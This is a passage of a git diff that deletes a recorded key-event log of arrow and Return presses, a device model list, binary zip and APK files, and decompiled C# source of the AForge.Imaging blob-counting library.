-20:11:44.6554299:54,4163:97:Left:Left:37:False:False:False -20:11:44.7103311:54,9012:96:Left:Left:37:False:False:False -20:11:44.7607316:50,4005:95:Left:Left:37:False:False:False -20:11:44.8076714:46,9398:94:Left:Left:37:False:False:False -20:11:44.8495297:41,8583:93:Left:Left:37:False:False:False -20:11:44.8955266:45,9969:92:Left:Left:37:False:False:False -20:11:44.9304430:34,9164:91:Left:Left:37:False:False:False -20:11:45.0441398:113,6968:90:Left:Left:37:False:False:False -20:11:45.1578355:113,6957:89:Left:Left:37:False:False:False -20:11:45.2735263:115,6908:88:Left:Left:37:False:False:False -20:11:45.3782823:104,756:87:Left:Left:37:False:False:False -20:11:45.4820111:103,7288:86:Left:Left:37:False:False:False -20:11:45.5877651:105,754:85:Left:Left:37:False:False:False -20:11:45.6954397:107,6746:84:Left:Left:37:False:False:False -20:11:45.7926507:97,211:83:Left:Left:37:False:False:False -20:11:45.9013590:108,7083:82:Left:Left:37:False:False:False -20:11:45.9961058:94,7468:81:Left:Left:37:False:False:False -20:11:46.0819123:85,8065:80:Left:Left:37:False:False:False -20:11:46.1726716:90,7593:79:Left:Left:37:False:False:False -20:11:46.2614324:88,7608:78:Left:Left:37:False:False:False -20:11:46.3551454:93,713:77:Left:Left:37:False:False:False -20:11:46.4323362:77,1908:76:Left:Left:37:False:False:False -20:11:46.5081224:75,7862:75:Left:Left:37:False:False:False -20:11:46.5778960:69,7736:74:Left:Left:37:False:False:False -20:11:46.6477099:69,8139:73:Left:Left:37:False:False:False -20:11:46.7135709:65,861:72:Left:Left:37:False:False:False -20:11:46.7803909:65,926:71:Left:Left:37:False:False:False -20:11:46.8432224:62,8315:70:Left:Left:37:False:False:False -20:11:46.9002481:57,0257:69:Left:Left:37:False:False:False -20:11:46.9559213:55,6732:68:Left:Left:37:False:False:False -20:11:47.0067854:50,8641:67:Left:Left:37:False:False:False -20:11:47.0562642:49,4788:66:Left:Left:37:False:False:False -20:11:47.1026483:46,3841:65:Left:Left:37:False:False:False -20:11:47.1485256:45,8773:64:Left:Left:37:False:False:False -20:11:47.1924183:43,8927:63:Left:Left:37:False:False:False -20:11:47.2352573:42,839:62:Left:Left:37:False:False:False -20:11:47.2771452:41,8879:61:Left:Left:37:False:False:False -20:11:47.4033629:126,2177:60:Left:Left:37:False:False:False -20:11:47.5240767:120,7138:59:Left:Left:37:False:False:False -20:11:47.6477473:123,6706:58:Left:Left:37:False:False:False -20:11:47.7684228:119,6743:57:Left:Left:37:False:False:False -20:11:47.8821603:113,7375:56:Left:Left:37:False:False:False -20:11:47.9899077:107,7474:55:Left:Left:37:False:False:False -20:11:48.0966220:106,7143:54:Left:Left:37:False:False:False -20:11:48.1993515:102,7295:53:Left:Left:37:False:False:False -20:11:48.3110487:111,6972:52:Left:Left:37:False:False:False -20:11:48.3120116:0,9629:51:Left:Left:37:False:False:False -20:11:48.4087870:96,7754:50:Left:Left:37:False:False:False -20:11:48.4107490:1,962:49:Left:Left:37:False:False:False -20:11:48.5079741:97,2251:48:Left:Left:37:False:False:False -20:11:48.5093751:1,401:47:Left:Left:37:False:False:False -20:11:48.5983956:89,0205:46:Left:Left:37:False:False:False -20:11:48.6851250:86,7294:45:Left:Left:37:False:False:False -20:11:48.7729278:87,8028:44:Left:Left:37:False:False:False -20:11:48.8547084:81,7806:43:Left:Left:37:False:False:False -20:11:48.9285112:73,8028:42:Left:Left:37:False:False:False -20:11:48.9987399:70,2287:41:Left:Left:37:False:False:False -20:11:49.0711348:72,3949:40:Left:Left:37:False:False:False -20:11:49.1349651:63,8303:39:Left:Left:37:False:False:False -20:11:49.1938081:58,843:38:Left:Left:37:False:False:False -20:11:49.2506284:56,8203:37:Left:Left:37:False:False:False -20:11:49.3061958:55,5674:36:Left:Left:37:False:False:False -20:11:49.3580568:51,861:35:Left:Left:37:False:False:False -20:11:49.4039692:45,9124:34:Left:Left:37:False:False:False -20:11:49.4473935:43,4243:33:Left:Left:37:False:False:False -20:11:49.4892814:41,8879:32:Left:Left:37:False:False:False -20:11:49.5221934:32,912:31:Left:Left:37:False:False:False -20:11:49.6742779:151,0871:30:Left:Left:37:False:False:False -20:11:49.7980045:123,7266:29:Left:Left:37:False:False:False -20:11:49.9201860:122,1815:28:Left:Left:37:False:False:False -20:11:49.9231426:2,9566:27:Left:Left:37:False:False:False -20:11:50.0398686:116,726:26:Left:Left:37:False:False:False -20:11:50.1535268:113,6582:25:Left:Left:37:False:False:False -20:11:50.5605235:406,9967:24:Up:Up:38:False:False:False -20:11:50.7119776:151,4541:29:Down:Down:40:False:False:False -20:11:51.1905851:478,6075:24:Down:Down:40:False:False:False -20:11:51.3332445:141,6461:19:Down:Down:40:False:False:False -20:11:51.4040548:70,8103:14:Down:Down:40:False:False:False -20:11:51.4559169:51,8621:9:Down:Down:40:False:False:False -20:11:51.4968380:40,9211:4:Down:Down:40:False:False:False -20:11:51.5306798:33,8418:1:Down:Down:40:False:False:False -20:11:51.5511129:20,4331:1:Down:Down:40:False:False:False -20:11:51.5841246:33,0117:1:Down:Down:40:False:False:False -20:11:51.6187358:34,6112:1:Down:Down:40:False:False:False -20:11:51.6515420:32,8062:1:Down:Down:40:False:False:False -20:11:51.6836623:32,1203:1:Down:Down:40:False:False:False -20:11:51.7172980:33,6357:1:Down:Down:40:False:False:False -20:11:51.7490429:31,7449:1:Down:Down:40:False:False:False -20:11:51.7976391:48,5962:1:Down:Down:40:False:False:False -20:11:51.8151637:16,5299:1:Down:Down:40:False:False:False -20:11:51.8471940:32,0303:1:Down:Down:40:False:False:False -20:11:51.8808923:33,6983:1:Down:Down:40:False:False:False -20:11:51.9129804:32,0881:1:Down:Down:40:False:False:False -20:11:51.9488615:35,8811:1:Down:Down:40:False:False:False -20:11:51.9801161:31,2546:1:Down:Down:40:False:False:False -20:11:52.0129510:32,8349:1:Down:Down:40:False:False:False -20:11:52.0438934:30,9424:1:Down:Down:40:False:False:False -20:11:52.0775325:32,6181:1:Down:Down:40:False:False:False -20:11:52.1111844:33,6519:1:Down:Down:40:False:False:False -20:11:52.1444896:33,3052:1:Down:Down:40:False:False:False -20:11:52.1766002:32,1106:1:Down:Down:40:False:False:False -20:11:52.2095281:32,9279:1:Down:Down:40:False:False:False -20:11:52.2433517:33,8236:1:Down:Down:40:False:False:False -20:11:52.2754604:32,1087:1:Down:Down:40:False:False:False -20:11:52.3079726:32,5122:1:Down:Down:40:False:False:False -20:11:52.3436774:35,7048:1:Down:Down:40:False:False:False -20:11:52.3726884:29,011:1:Down:Down:40:False:False:False -20:11:52.5282720:155,5836:1:Down:Down:40:False:False:False -20:11:52.9685378:440,2658:1:Down:Down:40:False:False:False -20:11:53.7525019:783,9641:1:Up:Up:38:False:False:False -20:11:54.0477787:295,2768:6:Up:Up:38:False:False:False -20:11:54.2322308:184,4521:11:Right:Right:39:False:False:False -20:11:54.5634263:331,1955:12:Right:Right:39:False:False:False -20:11:55.1615121:598,0858:13:Return:Return:13:False:False:False -20:24:03.0977962:165671,8268:17917:LWin:LWin:91:False:False:False -21:45:03.3753448:59037,4923:227:Return:Return:13:False:False:False -21:45:04.4138988:1037,5566:227:Right:Right:39:False:False:False -21:45:04.6288349:214,9361:228:Right:Right:39:False:False:False -21:45:05.1631352:534,3003:229:Return:Return:13:False:False:False -21:45:08.4086000:3244,9234:377:Return:Return:13:False:False:False -21:45:08.8630101:454,4101:377:Right:Right:39:False:False:False -21:45:09.0626016:199,5915:378:Right:Right:39:False:False:False -21:45:09.2269582:164,3566:379:Right:Right:39:False:False:False -21:45:09.8183205:591,3623:380:Up:Up:38:False:False:False -21:45:10.3163702:497,0573:385:Up:Up:38:False:False:False -21:45:10.4684690:151,2658:390:Up:Up:38:False:False:False -21:45:10.5040531:35,5841:395:Up:Up:38:False:False:False -21:45:10.5822245:78,1714:400:Up:Up:38:False:False:False -21:45:10.6370917:53,9125:405:Up:Up:38:False:False:False -21:45:10.7035737:66,482:410:Up:Up:38:False:False:False -21:45:10.7828321:79,2584:415:Up:Up:38:False:False:False -21:45:10.8701827:87,3506:420:Up:Up:38:False:False:False -21:45:10.9115406:41,3579:425:Up:Up:38:False:False:False -21:45:10.9683737:56,8331:430:Up:Up:38:False:False:False -21:45:11.0349993:66,6256:435:Up:Up:38:False:False:False -21:45:11.2585423:223,543:440:Return:Return:13:False:False:False -22:13:21.7242187:428003,1203:11293:Return:Return:13:False:False:False -22:13:57.4475610:35722,3729:11293:Return:Return:13:False:False:False -22:13:58.9274942:1479,573:12649:Left:Left:37:False:False:False -22:13:59.8651657:935,6405:12678:Return:Return:13:False:False:False -22:14:00.1912245:325,4793:12678:Left:Left:37:False:False:False -22:14:00.3512102:159,3111:12677:Left:Left:37:False:False:False -22:14:00.8464688:492,8978:12676:Left:Left:37:False:False:False -22:14:00.9958889:148,4516:12675:Left:Left:37:False:False:False -22:14:01.1230776:127,1887:12674:Left:Left:37:False:False:False -22:14:01.2976346:174,557:12673:Down:Down:40:False:False:False -22:14:01.7961977:496,7832:12668:Down:Down:40:False:False:False -22:14:01.8961890:99,9913:12663:Down:Down:40:False:False:False -22:14:02.1266019:230,4129:12658:Down:Down:40:False:False:False -22:14:02.3386571:209,1294:12653:Down:Down:40:False:False:False -22:14:02.5130675:173,3775:12648:Down:Down:40:False:False:False -22:14:02.5190059:5,9384:12643:Down:Down:40:False:False:False -22:14:02.6239818:104,7349:12638:Down:Down:40:False:False:False -22:14:02.6989383:74,9565:12633:Down:Down:40:False:False:False -22:14:02.9274804:227,5439:12628:Down:Down:40:False:False:False -22:14:03.1012297:172,7419:12623:Down:Down:40:False:False:False -22:14:03.1143366:13,1069:12618:Down:Down:40:False:False:False -22:14:03.2301477:115,8111:12613:Down:Down:40:False:False:False -22:14:03.3244701:93,4722:12608:Down:Down:40:False:False:False -22:14:03.3948145:70,3444:12603:Down:Down:40:False:False:False -22:14:03.6646214:268,7741:12598:Down:Down:40:False:False:False -22:14:03.6706800:3,659:12593:Down:Down:40:False:False:False -22:14:03.8700599:199,3799:12588:Down:Down:40:False:False:False -22:14:04.0526427:180,3098:12583:Down:Down:40:False:False:False -22:14:04.1773520:123,7051:12578:Down:Down:40:False:False:False -22:14:04.2539445:76,5925:12573:Down:Down:40:False:False:False -22:14:04.5883084:333,3657:12568:Down:Down:40:False:False:False -22:14:04.5943121:5,417:12563:Down:Down:40:False:False:False -22:14:04.8156050:220,7258:12558:Down:Down:40:False:False:False -22:14:04.8196419:4,0369:12553:Down:Down:40:False:False:False -22:14:04.9345611:114,9192:12548:Down:Down:40:False:False:False -22:14:05.0007373:66,1762:12543:Down:Down:40:False:False:False -22:14:05.3564996:355,7623:12538:Down:Down:40:False:False:False -22:14:05.6539129:297,4133:12533:Down:Down:40:False:False:False -22:14:05.9023471:247,8729:12528:Down:Down:40:False:False:False -22:14:05.9053718:2,0274:12523:Down:Down:40:False:False:False -22:14:06.0703033:163,3377:12518:Down:Down:40:False:False:False -22:14:06.1636827:93,3794:12513:Down:Down:40:False:False:False -22:14:06.1677047:4,022:12508:Down:Down:40:False:False:False -22:14:06.5080226:340,3179:12503:Down:Down:40:False:False:False -22:14:06.8226410:312,5348:12498:Down:Down:40:False:False:False -22:14:06.8247137:2,0727:12493:Down:Down:40:False:False:False -22:14:07.0037313:179,0176:12488:Down:Down:40:False:False:False -22:14:07.1012395:97,1019:12483:Down:Down:40:False:False:False -22:14:07.4146198:313,3803:12478:Down:Down:40:False:False:False -22:14:07.4166148:0:12473:Down:Down:40:False:False:False -22:14:07.5993598:182,745:12468:Down:Down:40:False:False:False -22:14:07.7477307:148,3709:12463:Down:Down:40:False:False:False -22:14:07.8765695:128,8388:12458:Down:Down:40:False:False:False -22:14:07.9587253:81,1194:12453:Down:Down:40:False:False:False -22:14:08.2094365:247,9985:12448:Down:Down:40:False:False:False -22:14:08.8198751:610,4386:12443:Return:Return:13:False:False:False -18:01:33.9585233:1153673,7443:21208:Return:Return:13:False:False:False -18:01:34.4475992:488,0797:21208:Right:Right:39:False:False:False -18:01:34.7349164:286,6688:21209:Right:Right:39:False:False:False -18:01:35.3678424:632,926:21210:Left:Left:37:False:False:False -18:01:35.9559963:587,7426:21209:Up:Up:38:False:False:False -18:01:36.6510774:694,2108:21214:Down:Down:40:False:False:False -18:01:37.3625446:710,7267:21209:Left:Left:37:False:False:False -18:01:37.8292500:464,7413:21208:Left:Left:37:False:False:False -18:01:38.0923894:261,1345:21207:Left:Left:37:False:False:False -18:01:38.3434337:251,0443:21206:Left:Left:37:False:False:False -18:01:38.8426307:497,117:21205:Left:Left:37:False:False:False -18:01:38.8741721:31,5414:21204:Left:Left:37:False:False:False -18:01:38.9072911:32,0882:21203:Left:Left:37:False:False:False -18:01:38.9399599:32,6688:21202:Left:Left:37:False:False:False -18:01:38.9731382:32,8142:21201:Left:Left:37:False:False:False -18:01:39.0059384:32,8002:21200:Left:Left:37:False:False:False -18:01:39.0389741:33,0357:21199:Left:Left:37:False:False:False -18:01:39.0716194:32,6453:21198:Left:Left:37:False:False:False -18:01:39.1045086:32,8892:21197:Left:Left:37:False:False:False -18:01:39.1374470:32,9384:21196:Left:Left:37:False:False:False -18:01:39.1759994:38,5524:21195:Left:Left:37:False:False:False -18:01:39.2029309:25,9206:21194:Left:Left:37:False:False:False -18:01:39.2408985:37,0366:21193:Left:Left:37:False:False:False -18:01:39.2687088:27,8103:21192:Left:Left:37:False:False:False -18:01:39.3016780:32,9692:21191:Left:Left:37:False:False:False -18:01:39.3342998:32,6218:21190:Left:Left:37:False:False:False -18:01:39.3670973:32,7975:21189:Left:Left:37:False:False:False -18:01:39.4011463:34,049:21188:Left:Left:37:False:False:False -18:01:39.4525584:51,4121:21187:Left:Left:37:False:False:False -18:01:39.4936607:41,1023:21186:Left:Left:37:False:False:False -18:01:39.4986115:4,9508:21185:Left:Left:37:False:False:False -18:01:39.5426667:44,0552:21184:Left:Left:37:False:False:False -18:01:39.5748927:31,2296:21183:Left:Left:37:False:False:False -18:01:39.6085600:33,6673:21182:Left:Left:37:False:False:False -18:01:39.6340924:25,5324:21181:Left:Left:37:False:False:False -18:01:39.6649535:30,8611:21180:Left:Left:37:False:False:False -18:01:39.6957372:30,6962:21179:Left:Left:37:False:False:False -18:01:39.7305686:34,8314:21178:Left:Left:37:False:False:False -18:01:39.7614418:30,8732:21177:Left:Left:37:False:False:False -18:01:39.7953060:33,8642:21176:Left:Left:37:False:False:False -18:01:39.8274546:32,0817:21175:Left:Left:37:False:False:False -18:01:39.8624264:34,9718:21174:Left:Left:37:False:False:False -18:01:39.8928267:29,4031:21173:Left:Left:37:False:False:False -18:01:39.9257480:32,9213:21172:Left:Left:37:False:False:False -18:01:39.9585870:32,839:21171:Left:Left:37:False:False:False -18:01:39.9911176:32,5306:21170:Left:Left:37:False:False:False -18:01:40.3479308:356,8132:21169:Return:Return:13:False:False:False diff --git a/desktop_3230/model b/desktop_3230/model deleted file mode 100644 index bcb7502..0000000 --- a/desktop_3230/model +++ /dev/null @@ -1,31 +0,0 @@ -brand:HUAWEI; -hard:kirin980; -hard:kirin990; -brand:samsung; -hard:samsungexynos9810; -hard:samsungexynos8890; -hard:samsungexynos8895; -model:VOG-L29; -model:ELS-NX9; -model:LIO-L29; -model:SM-G930F; -model:SM-G935F; -model:SM-G950F; -model:SM-G955F; -model:SM-G960F; -model:SM-G965F; -model:SM-G970F; -model:SM-G973F; -model:SM-G975F; -brand:asus; -model:ASUS_I002D; -hard:qcom; -model:MNA-LX9; - -brand:Xiaomi; -model:2107113SI; -model:SM-F946B; -model:SM-G990E; -hard:exynos2100; -model:SM-F956B; -model:SM-S938B; diff --git a/desktop_3230/models b/desktop_3230/models deleted file mode 100644 index 9778b7e..0000000 --- a/desktop_3230/models +++ /dev/null @@ -1,13 +0,0 @@ -1875127446 --1747032043 --558549712 -869556483 -110041596 -869687555 -110172668 -869884163 -110369276 -869818627 -1273103154 -110303740 -757602046 diff --git a/mirkor_3234.zip b/mirkor_3234.zip deleted file mode 100644 index a53b56e..0000000 Binary files a/mirkor_3234.zip and /dev/null differ diff --git a/mxkor_3234_ncp.apk b/mxkor_3234_ncp.apk deleted file mode 100644 index a6831de..0000000 Binary files a/mxkor_3234_ncp.apk and /dev/null differ diff --git a/output/Libraries/AForge.Imaging/AForge.Imaging.csproj b/output/Libraries/AForge.Imaging/AForge.Imaging.csproj deleted file mode 100644 index 611a46c..0000000 --- a/output/Libraries/AForge.Imaging/AForge.Imaging.csproj +++ /dev/null @@ -1,21 +0,0 @@ - - - AForge.Imaging - False - net20 - - - 12.0 - True - - - - - - ../../../desktop/AForge.dll - - - ../../../desktop/AForge.Math.dll - - - \ No newline at end of file diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Blob.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Blob.cs deleted file mode 100644 index 2f3f4d0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Blob.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System.ComponentModel; -using System.Drawing; - -namespace AForge.Imaging; - -public class Blob -{ - private UnmanagedImage image; - - private bool originalSize; - - private Rectangle rect; - - private int id; - - private int area; - - private Point cog; - - private double fullness; - - private Color colorMean = Color.Black; - - private Color colorStdDev = Color.Black; - - [Browsable(false)] - public UnmanagedImage Image - { - get - { - return image; - } - internal set - { - image = value; - } - } - - [Browsable(false)] - public bool OriginalSize - { - get - { - return originalSize; - } - internal set - { - originalSize = value; - } - } - - public Rectangle Rectangle => rect; - - [Browsable(false)] - public int ID - { - get - { - return id; - } - internal set - { - id = value; - } - } - - public int Area - { - get - { - return area; - } - internal set - { - area = value; - } - } - - public double Fullness - { - get - { - return fullness; - } - internal set - { - fullness = value; - } - } - - public Point CenterOfGravity - { - get - { - return cog; - } - internal set - { - cog = value; - } - } - - public Color ColorMean - { - get - { - return colorMean; - } - internal set - { - colorMean = value; - } - } - - public Color ColorStdDev - { - get - { - return colorStdDev; - } - internal set - { - colorStdDev = value; - } - } - - public Blob(int id, Rectangle rect) - { - this.id = id; - this.rect = rect; - } - - public Blob(Blob source) - { - id = source.id; - rect = source.rect; - cog = source.cog; - area = source.area; - fullness = source.fullness; - colorMean = source.colorMean; - colorStdDev = source.colorStdDev; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounter.cs deleted file mode 100644 index c668839..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounter.cs +++ /dev/null @@ -1,379 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class BlobCounter : BlobCounterBase -{ - private byte backgroundThresholdR; - - private byte backgroundThresholdG; - - private byte backgroundThresholdB; - - public Color BackgroundThreshold - { - get - { - return Color.FromArgb(backgroundThresholdR, backgroundThresholdG, backgroundThresholdB); - } - set - { - backgroundThresholdR = value.R; - backgroundThresholdG = value.G; - backgroundThresholdB = value.B; - } - } - - public BlobCounter() - { - } - - public BlobCounter(Bitmap image) - : base(image) - { - } - - public BlobCounter(BitmapData imageData) - : base(imageData) - { - } - - public BlobCounter(UnmanagedImage image) - : base(image) - { - } - - protected unsafe override void BuildObjectsMap(UnmanagedImage image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0012: Invalid comparison between Unknown and I4 - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001f: Invalid comparison between Unknown and I4 - //IL_0022: Unknown result type (might be due to invalid IL or missing references) - //IL_002c: Invalid comparison between Unknown and I4 - //IL_002f: Unknown result type (might be due to invalid IL or missing references) - //IL_0039: Invalid comparison between Unknown and I4 - //IL_00d6: Unknown result type (might be due to invalid IL or missing references) - //IL_00e0: Invalid comparison between Unknown and I4 - //IL_003c: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_046c: Unknown result type (might be due to invalid IL or missing references) - int stride = image.Stride; - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - if (imageWidth == 1) - { - throw new InvalidImagePropertiesException("BlobCounter cannot process images that are one pixel wide. Rotate the image or use RecursiveBlobCounter."); - } - int num = imageWidth - 1; - objectLabels = new int[imageWidth * imageHeight]; - int num2 = 0; - int num3 = (imageWidth / 2 + 1) * (imageHeight / 2 + 1) + 1; - int[] array = new int[num3]; - for (int i = 0; i < num3; i++) - { - array[i] = i; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num4 = 0; - if ((int)image.PixelFormat == 198659) - { - int num5 = stride - imageWidth; - if (*ptr > backgroundThresholdG) - { - num2 = (objectLabels[num4] = num2 + 1); - } - ptr++; - num4++; - int num6 = 1; - while (num6 < imageWidth) - { - if (*ptr > backgroundThresholdG) - { - if (ptr[-1] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - num6++; - ptr++; - num4++; - } - ptr += num5; - for (int j = 1; j < imageHeight; j++) - { - if (*ptr > backgroundThresholdG) - { - if (ptr[-stride] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - else if (ptr[1 - stride] <= backgroundThresholdG) - { - num2 = (objectLabels[num4] = num2 + 1); - } - else - { - objectLabels[num4] = objectLabels[num4 + 1 - imageWidth]; - } - } - ptr++; - num4++; - int num7 = 1; - while (num7 < num) - { - if (*ptr > backgroundThresholdG) - { - if (ptr[-1] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else if (ptr[-1 - stride] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - 1 - imageWidth]; - } - else if (ptr[-stride] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - if (ptr[1 - stride] > backgroundThresholdG) - { - if (objectLabels[num4] == 0) - { - objectLabels[num4] = objectLabels[num4 + 1 - imageWidth]; - } - else - { - int num8 = objectLabels[num4]; - int num9 = objectLabels[num4 + 1 - imageWidth]; - if (num8 != num9 && array[num8] != array[num9]) - { - if (array[num8] == num8) - { - array[num8] = array[num9]; - } - else if (array[num9] == num9) - { - array[num9] = array[num8]; - } - else - { - array[array[num8]] = array[num9]; - array[num8] = array[num9]; - } - for (int k = 1; k <= num2; k++) - { - if (array[k] != k) - { - int num10; - for (num10 = array[k]; num10 != array[num10]; num10 = array[num10]) - { - } - array[k] = num10; - } - } - } - } - } - if (objectLabels[num4] == 0) - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - num7++; - ptr++; - num4++; - } - if (*ptr > backgroundThresholdG) - { - if (ptr[-1] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else if (ptr[-1 - stride] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - 1 - imageWidth]; - } - else if (ptr[-stride] > backgroundThresholdG) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - else - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - ptr++; - num4++; - ptr += num5; - } - } - else - { - int num11 = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num12 = stride - imageWidth * num11; - int num13 = stride - num11; - int num14 = stride + num11; - if ((ptr[2] | ptr[1] | *ptr) != 0) - { - num2 = (objectLabels[num4] = num2 + 1); - } - ptr += num11; - num4++; - int num15 = 1; - while (num15 < imageWidth) - { - if (ptr[2] > backgroundThresholdR || ptr[1] > backgroundThresholdG || *ptr > backgroundThresholdB) - { - if (ptr[2 - num11] > backgroundThresholdR || ptr[1 - num11] > backgroundThresholdG || ptr[-num11] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - num15++; - ptr += num11; - num4++; - } - ptr += num12; - for (int l = 1; l < imageHeight; l++) - { - if (ptr[2] > backgroundThresholdR || ptr[1] > backgroundThresholdG || *ptr > backgroundThresholdB) - { - if (ptr[2 - stride] > backgroundThresholdR || ptr[1 - stride] > backgroundThresholdG || ptr[-stride] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - else if (ptr[2 - num13] <= backgroundThresholdR && ptr[1 - num13] <= backgroundThresholdG && ptr[-num13] <= backgroundThresholdB) - { - num2 = (objectLabels[num4] = num2 + 1); - } - else - { - objectLabels[num4] = objectLabels[num4 + 1 - imageWidth]; - } - } - ptr += num11; - num4++; - int num16 = 1; - while (num16 < imageWidth - 1) - { - if (ptr[2] > backgroundThresholdR || ptr[1] > backgroundThresholdG || *ptr > backgroundThresholdB) - { - if (ptr[2 - num11] > backgroundThresholdR || ptr[1 - num11] > backgroundThresholdG || ptr[-num11] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else if (ptr[2 - num14] > backgroundThresholdR || ptr[1 - num14] > backgroundThresholdG || ptr[-num14] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - 1 - imageWidth]; - } - else if (ptr[2 - stride] > backgroundThresholdR || ptr[1 - stride] > backgroundThresholdG || ptr[-stride] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - if (ptr[2 - num13] > backgroundThresholdR || ptr[1 - num13] > backgroundThresholdG || ptr[-num13] > backgroundThresholdB) - { - if (objectLabels[num4] == 0) - { - objectLabels[num4] = objectLabels[num4 + 1 - imageWidth]; - } - else - { - int num17 = objectLabels[num4]; - int num18 = objectLabels[num4 + 1 - imageWidth]; - if (num17 != num18 && array[num17] != array[num18]) - { - if (array[num17] == num17) - { - array[num17] = array[num18]; - } - else if (array[num18] == num18) - { - array[num18] = array[num17]; - } - else - { - array[array[num17]] = array[num18]; - array[num17] = array[num18]; - } - for (int m = 1; m <= num2; m++) - { - if (array[m] != m) - { - int num19; - for (num19 = array[m]; num19 != array[num19]; num19 = array[num19]) - { - } - array[m] = num19; - } - } - } - } - } - if (objectLabels[num4] == 0) - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - num16++; - ptr += num11; - num4++; - } - if (ptr[2] > backgroundThresholdR || ptr[1] > backgroundThresholdG || *ptr > backgroundThresholdB) - { - if (ptr[2 - num11] > backgroundThresholdR || ptr[1 - num11] > backgroundThresholdG || ptr[-num11] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - 1]; - } - else if (ptr[2 - num14] > backgroundThresholdR || ptr[1 - num14] > backgroundThresholdG || ptr[-num14] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - 1 - imageWidth]; - } - else if (ptr[2 - stride] > backgroundThresholdR || ptr[1 - stride] > backgroundThresholdG || ptr[-stride] > backgroundThresholdB) - { - objectLabels[num4] = objectLabels[num4 - imageWidth]; - } - else - { - num2 = (objectLabels[num4] = num2 + 1); - } - } - ptr += num11; - num4++; - ptr += num12; - } - } - int[] array2 = new int[array.Length]; - objectsCount = 0; - for (int n = 1; n <= num2; n++) - { - if (array[n] == n) - { - array2[n] = ++objectsCount; - } - } - for (int num20 = 1; num20 <= num2; num20++) - { - if (array[num20] != num20) - { - array2[num20] = array2[array[num20]]; - } - } - int num21 = 0; - for (int num22 = objectLabels.Length; num21 < num22; num21++) - { - objectLabels[num21] = array2[objectLabels[num21]]; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounterBase.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounterBase.cs deleted file mode 100644 index 82e08f0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/BlobCounterBase.cs +++ /dev/null @@ -1,798 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public abstract class BlobCounterBase -{ - private class BlobsSorter : IComparer - { - private ObjectsOrder order; - - public BlobsSorter(ObjectsOrder order) - { - this.order = order; - } - - public int Compare(Blob a, Blob b) - { - Rectangle rectangle = a.Rectangle; - Rectangle rectangle2 = b.Rectangle; - return order switch - { - ObjectsOrder.Size => rectangle2.Width * rectangle2.Height - rectangle.Width * rectangle.Height, - ObjectsOrder.Area => b.Area - a.Area, - ObjectsOrder.YX => rectangle.Y * 100000 + rectangle.X - (rectangle2.Y * 100000 + rectangle2.X), - ObjectsOrder.XY => rectangle.X * 100000 + rectangle.Y - (rectangle2.X * 100000 + rectangle2.Y), - _ => 0, - }; - } - } - - private List blobs = new List(); - - private ObjectsOrder objectsOrder; - - private bool filterBlobs; - - private IBlobsFilter filter; - - private bool coupledSizeFiltering; - - private int minWidth = 1; - - private int minHeight = 1; - - private int maxWidth = int.MaxValue; - - private int maxHeight = int.MaxValue; - - protected int objectsCount; - - protected int[] objectLabels; - - protected int imageWidth; - - protected int imageHeight; - - public int ObjectsCount => objectsCount; - - public int[] ObjectLabels => objectLabels; - - public ObjectsOrder ObjectsOrder - { - get - { - return objectsOrder; - } - set - { - objectsOrder = value; - } - } - - public bool FilterBlobs - { - get - { - return filterBlobs; - } - set - { - filterBlobs = value; - } - } - - public bool CoupledSizeFiltering - { - get - { - return coupledSizeFiltering; - } - set - { - coupledSizeFiltering = value; - } - } - - public int MinWidth - { - get - { - return minWidth; - } - set - { - minWidth = value; - } - } - - public int MinHeight - { - get - { - return minHeight; - } - set - { - minHeight = value; - } - } - - public int MaxWidth - { - get - { - return maxWidth; - } - set - { - maxWidth = value; - } - } - - public int MaxHeight - { - get - { - return maxHeight; - } - set - { - maxHeight = value; - } - } - - public IBlobsFilter BlobsFilter - { - get - { - return filter; - } - set - { - filter = value; - } - } - - public BlobCounterBase() 